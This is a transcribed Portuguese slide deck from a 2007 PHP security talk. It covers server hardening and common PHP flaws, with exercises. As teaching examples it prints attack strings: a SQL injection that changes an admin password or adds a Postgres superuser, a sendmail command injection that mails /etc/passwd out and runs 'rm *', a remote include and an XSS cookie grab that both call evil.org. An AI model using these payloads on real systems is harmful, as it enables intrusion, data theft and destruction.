security & php
Post on 18-Dec-2014
7.825 Views
Preview:
DESCRIPTION
TRANSCRIPT
PHP Summer School
20/07/2007Nuno Loureiro <nuno@co.sapo.pt>
PHP Summer School
SegurançaNuno Loureiro <nuno@co.sapo.pt>
http://blog.sig9.net/20/07/2007
PHP Summer School
20/07/2007Nuno Loureiro <nuno@co.sapo.pt>
Segurança
PHP Summer School
• Licenciatura em Eng. Sistemas e Computação
• Começou a usar Linux em 1995
• Começou a programar PHP em 1999
• Organizou o 1º Simpósio de Linux em 1999 - Simplinux
• Sócio-fundador da ETH em 1999
• Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002
• Juntou-se à equipa do SAPO em 2002
• Programador do Webmail do SAPO
• Gestor técnico da plataforma de email do SAPO
• Zend Certified Engineer em 2005
About me
2
Segurança
PHP Summer School
• Segurança do Sistema• Sistema Operativo e Serviços
• Servidor de Web
• Código PHP• Register Globals
• Processamento de Forms
• Interacção com Bases de Dados
• Chamar programas externos
• Incluir ficheiros
• Sessões
• Cross-Site Scripting
• Conclusão
Sumário
3
Segurança
PHP Summer School
• Sistema Operativo• Manter o S.O. sempre actualizado
• Instalar todos os patchs de segurança disponibilizados pelo vendedor
• Serviços• Fechar todos os ports não necessários ou
• Desligar todos os serviços de rede não necessários
• Ferramentas para auditoria de segurança• Ex: Nessus - http://www.nessus.org/
Segurança do Sistema
4
Sistema Operativo e Serviços
Segurança
PHP Summer School
5
Servidor de Web - Configuração
• Correr com um UID próprio (ex: nobody)
• Desligar opção/módulo para listar o conteúdo de directórios• mod_autoindex
• Negar acesso a directórios não necessários <LocationMatch "/(scripts|templates|lib|locale|config|docs)/"> order deny,allow deny from all </LocationMatch>
• Negar acesso a ficheiros não necessários <FilesMatch "\.(inc)?~?$"> order deny,allow deny from all </FilesMatch>
Segurança do Sistema
Segurança
PHP Summer School
6
Falhas nestas configurações básicas podem ter consequências gravíssimas
Wrong! Right!
wget http://foobar.pt/horde/config/horde.php.bak
É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de configuração são incluidos pelo PHP através do filesystem
Servidor de Web - ConfiguraçãoSegurança do Sistema
Segurança
PHP Summer School
7
displays_errors = off
log_errors = on
error_log = /var/log/php.log
register_globals = off **
session.use_trans_sid = 0 **
open_basedir = /servers/www/foo.bar/
expose_php = off
php.ini:
** by default
Auditoria de Segurança da Instalação de PHP:
• PHPSecInfo - http://phpsec.org/projects/phpsecinfo/
Servidor de Web - PHP
Segurança do Sistema
Segurança
PHP Summer SchoolCódigo PHP
8
• Segurança é uma medida e não uma característica
• Segurança têm de ser balanceada com os custos
• Segurança têm de ser balanceada com usabilidade
• Um sistema completamente seguro é virtualmente impossível
• Usar bom senso para balancear estes conceitos!
• Saber os conceitos para programar PHP com segurança é fácil, o difícil é nos habituarmos a usá-los!
Agora que vamos começar a programar, convém termos umas noções básicas.
Segurança
PHP Summer School
9
Primeira lição e regra básica para programar PHP com segurança:
Código PHP
Segurança
PHP Summer School
9
Primeira lição e regra básica para programar PHP com segurança:
NEVER TRUST USER INPUT!!
Código PHP
Segurança
PHP Summer School
10
Aprenderam? Permitam que me repita novamente:
Código PHP
Segurança
PHP Summer School
10
Aprenderam? Permitam que me repita novamente:
NEVER TRUST USER INPUT!!
Código PHP
Segurança
PHP Summer School
11
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...
Código PHP
Segurança
PHP Summer School
11
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...
Wrong!
Código PHP
Segurança
PHP Summer School
11
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV, $_FILES, $_SESSION, ...
Wrong! Right!
Código PHP
Segurança
PHP Summer School
12
Processamento de Forms
Spoofed Form Submission:
<form action="/process.php" method="POST"><select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option></select><input type="submit" /></form>
http://example.org/form.html:
<form action="http://example.org/process.php" method="POST"><input type="text" name="color" /><input type="submit" /></form>
Spoofed form:
POST /process.php HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 9
color=red
Spoofed HTTP Request:
Código PHP
Segurança
PHP Summer School
12
Processamento de Forms
Spoofed Form Submission:
<form action="/process.php" method="POST"><select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option></select><input type="submit" /></form>
http://example.org/form.html:
<form action="http://example.org/process.php" method="POST"><input type="text" name="color" /><input type="submit" /></form>
Spoofed form:
POST /process.php HTTP/1.1Host: example.orgContent-Type: application/x-www-form-urlencodedContent-Length: 9
color=red
Spoofed HTTP Request:
Right!
Este exemplo não parece perigoso...
Código PHP
Segurança
PHP Summer School
13
Processamento de Forms
Spoofed Form Submission:http://example.org/fupload.php:
<form method="post" name="fileupload" action="fupload.php"><input type="hidden" name="fn" value="/var/www/html/index.php"><input type="hidden" name="fn_type" value="text"><input type="hidden" name="fn_size" value="22"><input type="submit" name="upload_file" value="Upload">
Spoofed form:
Código PHP
Segurança
PHP Summer School
13
Processamento de Forms
Spoofed Form Submission:http://example.org/fupload.php:
Right!
<form method="post" name="fileupload" action="fupload.php"><input type="hidden" name="fn" value="/var/www/html/index.php"><input type="hidden" name="fn_type" value="text"><input type="hidden" name="fn_size" value="22"><input type="submit" name="upload_file" value="Upload">
Spoofed form:
... mas este já parece perigoso!
Código PHP
Segurança
PHP Summer School
14
Interacção com Bases de Dados
http://example.com/edit.php?update_table_submit=1&table=users+set+password%3Daaa+where+user%3D%27admin%27+%23
SQL Injection
Exemplo:
Ataque:
• Filtrem os dados. Se sabem o que esperam, filtrem!
• Se a base de dados permitir, coloquem pelicas à volta de todos os dados independente do tipo de dados
• “Escape your data” - ex: mysql_real_escape_string(), addslashes()
Boas práticas:
update users set password=aaa where user="admin" # set name=$name
Query executado:
Código PHP
Segurança
PHP Summer School
15
SQL InjectionOutro Exemplo:
Query executado:0;insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres';--
Código PHPInteracção com Bases de Dados
Segurança
PHP Summer School
15
SQL InjectionOutro Exemplo:
Query executado:0;insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select 'crack', usesysid, 't','t','crack' from pg_shadow where usename='postgres';--
Possível Solução:
Código PHPInteracção com Bases de Dados
Segurança
PHP Summer School
16
Chamar programas externos
http://example.com/send.php?$to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A
Exemplo:
Ataque:
Resultado:
/usr/sbin/sendmail -i evil@evil.org/etc/passwd; rm *
Código PHP
Segurança
PHP Summer School
16
Chamar programas externos
http://example.com/send.php?$to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A
Exemplo:
Ataque:
Resultado:
/usr/sbin/sendmail -i evil@evil.org/etc/passwd; rm *
Solução:
Código PHP
Segurança
PHP Summer School
17
Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
Exemplo:
Ataque:
nasty.html:
Código PHP
Segurança
PHP Summer School
17
Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
Exemplo:
Ataque:
nasty.html:
Código PHP
Segurança
PHP Summer School
17
Incluir ficheirosIncluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
Exemplo:
Ataque:
Solução:
nasty.html:
Código PHP
Segurança
PHP Summer School
18
SessõesSession Fixation / Session Hijacking
http://example.com/index.php?PHPSESSID=12345
Exemplo para compreensão: Atacante fornece URL:
Vítima usa URL, faz login no site e atacante faz hijacking da sessão
Código PHP
Segurança
PHP Summer School
18
SessõesSession Fixation / Session Hijacking
http://example.com/index.php?PHPSESSID=12345
Exemplo para compreensão: Atacante fornece URL:
Solução:
Vítima usa URL, faz login no site e atacante faz hijacking da sessão
Código PHP
Segurança
PHP Summer School
19
Exemplo: Ataque - email cujo subject é:
Cross Site Scripting
<script>self.location.href="http://evil.org/cookie-grab.html?cookies="+escape(document.cookie)</script>
Atacante pode ver nos logs do seu servidor os cookies da vítima
Código PHP
Segurança
PHP Summer School
19
Exemplo: Ataque - email cujo subject é:
Solução:
Cross Site Scripting
<script>self.location.href="http://evil.org/cookie-grab.html?cookies="+escape(document.cookie)</script>
Atacante pode ver nos logs do seu servidor os cookies da vítima
Código PHP
Segurança
PHP Summer School
20
Conclusão
is_numeric()is_scalar()
htmlentities()
htmlspecialchars()
ctype_digit()
ctype_alpha()
ctype_alnum()
is_float()
is_int()
addslashes()
mysql_real_escape_string()pg_escape_string()
intval()
settype()
preg_match()
Código PHP
Segurança
PHP Summer School
21
Fazer o security fix do seguinte script:
ExercíciosExercício I
Código PHP
Segurança
PHP Summer School
22
Solução para o Exercício I:
Código PHPExercícios
Segurança
PHP Summer School
23
• Fazer o security fix do seguinte script:
Exercício II
• De que tipo de vulnerabilidade sofre este script ?
Código PHPExercícios
Segurança
PHP Summer School
24
Solução para o Exercício II:
• O script pode sofrer um ataque de SQL Injection
Código PHPExercícios
Segurança
PHP Summer School
25
• Fazer o security fix do seguinte script:
Exercício III
• De que tipo de vulnerabilidade sofre este script ?
Código PHPExercícios
Segurança
PHP Summer School
26
Solução para o Exercício III:
O script pode sofrer um ataque de Cross Site Scripting
Código PHPExercícios
PHP Summer School
20/07/2007Nuno Loureiro <nuno@co.sapo.pt>
PHP Summer School
FIM!
Nuno Loureiro <nuno@co.sapo.pt>http://blog.sig9.net/
20/07/2007
PHP Summer School
20/07/2007Nuno Loureiro <nuno@co.sapo.pt>
Obrigado, perguntas?
top related